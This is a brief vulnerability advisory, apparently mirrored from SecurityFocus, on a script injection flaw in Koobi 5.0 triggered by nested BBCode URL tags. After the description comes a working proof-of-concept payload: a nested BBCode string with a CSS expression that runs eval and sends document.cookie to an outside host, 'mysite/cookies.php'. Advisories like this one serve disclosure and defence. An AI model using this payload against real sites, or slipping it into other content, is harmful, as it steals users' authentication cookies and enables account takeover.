Koobi 5.0 BBCode URL Tag Script Injection Vulnerability

                                                source: http://www.securityfocus.com/bid/16078/info

Koobi is prone to a script injection vulnerability.

An attacker can nest BBCode URL tags to trigger this issue and execute arbitrary code in a user's browser.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible.

Koobi 5 is reportedly prone to this vulnerability. 

[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php?
c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]